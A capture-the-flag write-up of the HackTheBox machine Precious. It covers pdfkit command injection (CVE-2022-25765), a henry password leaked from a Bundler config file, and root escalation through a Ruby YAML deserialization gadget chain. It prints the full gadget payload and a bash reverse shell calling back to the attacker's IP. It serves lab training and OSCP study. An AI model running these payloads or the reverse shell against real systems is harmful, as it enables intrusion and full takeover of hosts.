A PDF converter hiding a command injection CVE, credentials buried in a Ruby config file, and a YAML deserialization gadget to finish it off - Precious stacks three clean techniques on top of each other.

Machine info

NamePrecious
PlatformHackTheBox
OSLinux
DifficultyEasy

TL;DR

  • Web app converts URLs to PDFs using pdfkit v0.8.6, which is vulnerable to CVE-2022-25765 (command injection)
  • Initial shell as ruby, Bundler config at ~/.bundle/config leaks credentials for user henry
  • Henry can run a Ruby script as root with sudo; the script uses YAML.load - exploitable via deserialization to get a root shell

Recon

Nmap

1
nmap -sV -sC -Pn -A 10.129.228.98

Nmap results

Ports 22 (SSH) and 80 (HTTP). Nginx 1.18.0, redirects to precious.htb - add it to /etc/hosts.


Enumeration

PDF converter app

Web app - Convert Web Page to PDF

The site takes a URL and generates a PDF from it. Set up a Python HTTP server on Kali and point it at my IP:

Submitting Kali IP to generate PDF

The app fetches the URL and returns a PDF:

Generated PDF showing directory listing

Download the PDF and check the metadata:

exiftool output showing pdfkit v0.8.6

Creator: Generated by pdfkit v0.8.6. That version is vulnerable to CVE-2022-25765 - a command injection in the URL parameter when pdfkit processes a URL containing a % character followed by a shell command.

searchsploit pdfkit results


Foothold

CVE-2022-25765 - pdfkit command injection

1
python 51293.py -s 10.10.14.208 443 -w http://precious.htb/ -p schema

Exploit running against precious.htb

The exploit sends a crafted URL with an embedded Ruby reverse shell payload targeting the pdfkit sink. The listener catches it:

Shell received as ruby user

Shell as ruby.


Privilege Escalation

Credentials in Bundler config

Poking around the home directory:

.bundle/config contents showing henry credentials

~/.bundle/config holds a BUNDLE_HTTPS__RUBYGEMS__ORG entry with credentials: henry:Q3c1AqGHtoI0aXAYFH. SSH in as henry:

1
ssh henry@precious.htb

Ruby YAML deserialization RCE

1
sudo -l

sudo -l and update_dependencies.rb script

Henry can run /opt/update_dependencies.rb as root without a password. The script calls YAML.load(File.read("dependencies.yml")) - YAML.load in older Ruby versions deserializes arbitrary objects, making it a classic gadget for RCE.

Craft a malicious dependencies.yml in henry’s home directory:

Malicious dependencies.yml and sudo execution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: x
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: abc
      debug_output: !ruby/object:Net::WriteAdapter
         socket: !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/object:Gem::Package::TarReader
                     io: !ruby/object:Net::BufferedIO
                         io: !ruby/object:Gem::Package::TarReader::Entry
                            read: 0
                            header: abc
                 debug_output: !ruby/object:Net::WriteAdapter
                     socket: !ruby/object:Net::BufferedIO
                         io: !ruby/object:Gem::Package::TarReader::Entry
                             read: 0
                             header: abc
                     debug_output: !ruby/object:Kernel
             git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.208/9001 0>&1'"
         method_id: :resolve
1
sudo /usr/bin/ruby /opt/update_dependencies.rb

Root shell on the listener:

Root shell caught on nc listener


Takeaways (for OSCP)

  • Always extract PDF metadata when a site generates documents. The PDF creator field regularly leaks the library name and version - and libraries like pdfkit, wkhtmltopdf, and LibreOffice all have CVEs worth checking.
  • Ruby config files hold credentials in plaintext. ~/.bundle/config, .gemrc, and similar files are easy to miss during manual enumeration - check hidden directories in every home folder.
  • YAML.load is a deserialization sink. In Ruby, YAML.load (as opposed to YAML.safe_load) can instantiate arbitrary objects. If you see it in a root-owned script, look for a YAML gadget chain.

References